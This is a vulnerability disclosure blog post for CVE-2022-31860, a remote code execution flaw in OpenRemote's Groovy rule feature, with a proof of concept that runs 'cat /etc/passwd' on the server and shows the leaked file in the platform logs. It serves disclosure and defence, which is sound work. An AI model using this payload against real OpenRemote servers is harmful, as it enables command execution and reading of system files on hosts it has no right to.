

← CVE Disclosures

Author: Bhaskar Tejaswi (https://users.encs.concordia.ca/~b_tejasw/)

CVE-ID: CVE-2022-31860



September 05, 2022

An issue was discovered in OpenRemote through 1.0.4 allows attackers to execute arbitrary code via a crafted Groovy rule. Post disclosure, OpenRemote has restricted the affected functionality to specific user role (super users - <https://github.com/openremote/openremote/pull/725>), to potentially reduce risks regarding unrestricted Groovy rules.

Details:

The OpenRemote Platform has a functionality wherein users can create rules in 3 ways, namely, When-Then, Flow and Groovy. Users can create rules by writing custom code in Groovy programming language. It is possible for a user of the platform to create a Groovy rule that executes arbitrary commands on the server hosting the OpenRemote platform. In the following PoC, we are trying to execute the "cat /etc/passwd" command on the hosting server and log the output of the command.

Proof of Concept:

```
def sout = new StringBuilder(), serr = new StringBuilder()
```

```
def proc = 'cat /etc/passwd'.execute()
```

```
proc.consumeProcessOutput(sout, serr)
```

```
proc.waitForOrKill(1)
```

```
LOG.info("out> $sout\n")
```

https://localhost/manager/#/rules

Assets Rules Insights

Rule name*
nnn jnjnj

ALWAYS ACTIVE

```
1 package demo.rules
2
3 import org.openremote.manager.rules.RulesBuilder
4 import org.openremote.model.notification.*
5 import org.openremote.model.rules.AssetState
6 import org.openremote.model.asset.Asset
7 import org.openremote.model.asset.impl.*
8 import org.openremote.model.query.*
9 import org.openremote.model.query.filter.*
10 import org.openremote.model.rules.Assets
11 import org.openremote.model.rules.Notifications
12 import org.openremote.model.rules.Users
13 import org.simplejavamail.email.Email
14
15 import java.util.logging.Logger
16 import java.util.stream.Collectors
17
18 Logger LOG = binding.LOG
19 RulesBuilder rules = binding.rules
20 Notifications notifications = binding.notifications
21 Users users = binding.users
22 Assets assets = binding.assets
23
24 /*
25 * A groovy rule is made up of a when closure (LHS) which must return a boolean indicating whether the then closure (RHS)
26 * should be executed. The rule engine will periodically evaluate the when closure and if it evaluates to true then the
27 * rule then closure will execute.
28 *
29 * NOTE: DO NOT MODIFY THE FACTS IN THE WHEN CLOSURE THIS SHOULD BE DONE IN THE THEN CLOSURE
30 *
31 * To avoid an infinite rule loop the when closure should not continually return true for subsequent executions
32 * so either the then closure should perform an action that prevents the when closure from matching on subsequent
33 * evaluations, or custom facts should be used, some ideas:
34 *
35 * - Change the value of an attribute being matched in the when closure (which will prevent it matching on subsequent evaluations)
36 * - Insert a custom fact on first match and test this fact in the when closure to determine when the rule should match again (for
37 *   example if a rule should match whenever the asset state changes the asset state timestamp can be used)
38 */
39
40 def sout = new StringBuilder(), serr = new StringBuilder()
41 def proc = 'cat /etc/passwd'.execute()
42 proc.consumeProcessOutput(sout, serr)
43 proc.waitForOrKill(1)
44 LOG.info("out> $sout\n")
45 rules.add()
```

The command output can be viewed in the logs of the platform (<https://localhost/manager/#/logs>) as follows:

<div> ← → ↻ Not secure https://localhost/manager/#/logs </div> <div> openremote Map Assets Rules Insights </div>				
<div> <div>CATEGORIES ▾</div> <div>Sub category filters 🔍</div> <div>Le... Info ▾</div> <div>L... 50 ▾</div> <div>< 1 of 1 ></div> </div>				
Timestamp	Level	Category	Sub category	Message
05/26/2022 09:52:33	INFO	RULES	Rules	Starting: RulesEngine{id='RulesEngineId(scope=TenantRuleset, realm='mast status=READY)}}
05/26/2022 09:52:33	INFO	RULES	Rules	<pre> out> root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:65534:65534:Kernel Overflow User:/sbin/nologin jboss:x:185:0:JBoss user:/home/jboss:/sbin/nologin </pre>
05/26/2022 09:52:33	INFO	RULES	Rules	Compiling ruleset deployment: TenantRuleset{id='1014', version='15', name=' enabled='true', meta='{}', realm='master', accessPublicRead='false'}
05/26/2022 09:52:33	INFO	RULES	Rules	Stopping: RulesEngine{id='RulesEngineId(scope=TenantRuleset, realm='mas status=DEPLOYED)}}

References:

<https://github.com/openremote/openremote/>

<https://stackoverflow.com/questions/159148/groovy-executing-shell-commands>

<https://stackoverflow.com/questions/66069960/groovy-shell-sandboxing-best-practices>

<https://github.com/openremote/openremote/pull/725>

Popular posts from this blog

CVE-ID: CVE-2022-35137

September 28, 2022

DGIOT Lightweight industrial IoT v4.5.4 was discovered to contain multiple cross-site scripting (XSS) vulnerabilities. The platform does not output



CVE-ID: CVE-2022-35135, CVE-2022-35136

October 12, 2022

CVE-2022-35136: Boodskap IoT Platform v4.4.9-02 allows attackers to make unauthenticated API requests. CVE-2022-35135: Boodskap IoT Platform v4.4.9-02 allows attackers to escalate privileges via a crafted request sent to /api/user/upsert/<uuid>. The platform su ...

READ MORE

CVE-ID: CVE-2022-31861

September 11, 2022



READ MORE